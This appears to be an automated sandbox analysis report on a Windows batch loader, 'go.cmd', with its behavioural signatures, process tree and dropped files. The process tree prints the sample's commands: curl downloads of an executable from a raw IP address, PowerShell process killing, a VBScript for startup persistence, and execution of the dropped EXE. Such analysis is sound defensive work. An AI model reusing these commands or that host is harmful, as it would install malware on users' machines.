Overview

overview

8

Static

static

1

go.cmd

windows10-2004-x64

8

go.cmd

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    599s
  • max time network
    557s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/10/2026, 14:32

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General

  • Target
    go.cmd
  • Size 2KB
  • Sample261023-rwkftaev4m
  • SHA256 326e5d06f2b04f464df5fcf7a286cb283c5838f0e7e6228fcb3d4cd9834d7034
  • MD5 SHA1 SHA512 TLSH
Score
8/10
adwaredefense_evasionexecutionpersistenceprivilege_escalationransomwarespyware

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Downloads MZ/PE file 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Executes dropped EXE 1 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 41 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 57 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • cURL User-Agent 3 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\go.cmd"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2788
    • C:\Windows\system32\curl.exe
      curl -L --fail -o "C:\Users\Admin\AppData\Local\Temp\c5667\Instalar.exe" http://173.249.49.225:3917/atualizacao/Instalar.exe
      2⤵
      • Downloads MZ/PE file
      PID:2432
    • C:\Windows\system32\curl.exe
      curl -L --fail -o "C:\Users\Admin\AppData\Local\Temp\c5667\Instalar.exe.config" http://173.249.49.225:3917/atualizacao/Instalar.exe.config
      2⤵
        PID:4172
      • C:\Windows\system32\curl.exe
        curl -L --fail -o "C:\Users\Admin\AppData\Local\Temp\c5667\cliente.dat" http://173.249.49.225:3917/atualizacao/cliente.dat?t=d27c37246e7343e65a4ea6a5a07ae55b
        2⤵
          PID:4944
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -C "if(([IO.File]::ReadAllBytes($env:st+'\Instalar.exe')[0]) -ne 77){exit 1}"
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1968
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -Command "Get-CimInstance Win32_Process | Where-Object { $_.ExecutablePath -match 'Microsoft\\Windows\\Caches' } | ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }"
          2⤵
          • Hide Artifacts: Ignore Process Interrupts
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1496
        • C:\Windows\system32\wscript.exe
          wscript //nologo "C:\Users\Admin\AppData\Local\Temp\c5667\m.vbs"
          2⤵
          • Creates a file in the Startup directory
          • Executes a VBScript file via the Windows Script Host.
          • Modifies registry class
          PID:2896
        • C:\Windows\system32\cmd.exe
          cmd /d /c "C:\Users\Admin\AppData\Local\Temp\c5667\runonce.cmd"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1376
          • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\!5667!\!5667!.exe
            "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\!5667!\!5667!.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\!5667!\!5667!.dat"
            3⤵
            • Executes dropped EXE
            PID:4728
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:4568
        • C:\Windows\explorer.exe
          explorer.exe /LOADSAVEDWINDOWS
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:4808
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:1664
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:4676

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            !5667!.bat
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\!5667!\!5667!.bat
            • Size 245B
            • SHA256 05607f83d662c950d8cf8018c027207f969b9f2212e1728a705b7eebac182c23
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 948B
            • SHA256 0cd5ad6866d41fa7a490634d5851163ad90baee39a05f8e7f6778229737f56b1
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            prep_Activatable Class_Hermes_perf.cache
            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 599B
            • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            __PSScriptPolicyTest_chxhjpcb.ufe.psm1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_chxhjpcb.ufe.psm1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            Instalar.exe
            • Path C:\Users\Admin\AppData\Local\Temp\c5667\Instalar.exe
            • Size 1.1MB
            • SHA256 afdd602c8598d32b978e7aa980541c16547d7db2ce2a5a2b454f04a3bc20cba6
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            cliente.dat
            • Path C:\Users\Admin\AppData\Local\Temp\c5667\cliente.dat
            • Size 166B
            • SHA256 4bb3226645af9e095521e410021d20b2fdb1bef0f7e673d487fce7939610ee19
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            m.vbs
            • Path C:\Users\Admin\AppData\Local\Temp\c5667\m.vbs
            • Size 303B
            • SHA256 963be731fcc085648c1761d1fa19921cd95f9c19c05f7cf6660051f3cd5b81bc
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            runonce.cmd
            • Path C:\Users\Admin\AppData\Local\Temp\c5667\runonce.cmd
            • Size 169B
            • SHA256 3549ec35b70c5717fb3b13e71b23c5c8183f6609e8d25d19ab992d840a9c1c6a
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/1496-20-0x00000249FC1D0000-0x00000249FC1F4000-memory.dmp
            Download

            memory/1496-18-0x00000249FC0C0000-0x00000249FC0CA000-memory.dmp
            Download

            memory/1496-19-0x00000249FC1D0000-0x00000249FC1FA000-memory.dmp
            Download

            memory/1496-22-0x00000249FC6D0000-0x00000249FC7C0000-memory.dmp
            Download

            memory/1496-16-0x00000249FC0A0000-0x00000249FC0BE000-memory.dmp
            Download

            memory/1496-17-0x00000249FC110000-0x00000249FC1C2000-memory.dmp
            Download

            memory/1664-66-0x0000020114290000-0x00000201142B0000-memory.dmp
            Download

            memory/1664-49-0x0000020102BC0000-0x0000020102BE0000-memory.dmp
            Download

            memory/1664-50-0x0000020102E00000-0x0000020102F00000-memory.dmp
            Download

            memory/1664-56-0x0000020102D00000-0x0000020102D20000-memory.dmp
            Download

            memory/1664-44-0x00000201001E0000-0x00000201002E0000-memory.dmp
            Download

            memory/1968-6-0x00000240D45C0000-0x00000240D45E2000-memory.dmp
            Download

            memory/1968-7-0x00007FFD43E10000-0x00007FFD447B4000-memory.dmp
            Download

            memory/1968-5-0x00007FFD43E10000-0x00007FFD447B4000-memory.dmp
            Download

            memory/1968-10-0x00007FFD43E10000-0x00007FFD447B4000-memory.dmp
            Download

            memory/1968-2-0x00007FFD43F9F000-0x00007FFD43FA0000-memory.dmp
            Download

            memory/4676-226-0x00000215A6BF0000-0x00000215A6CC4000-memory.dmp
            Download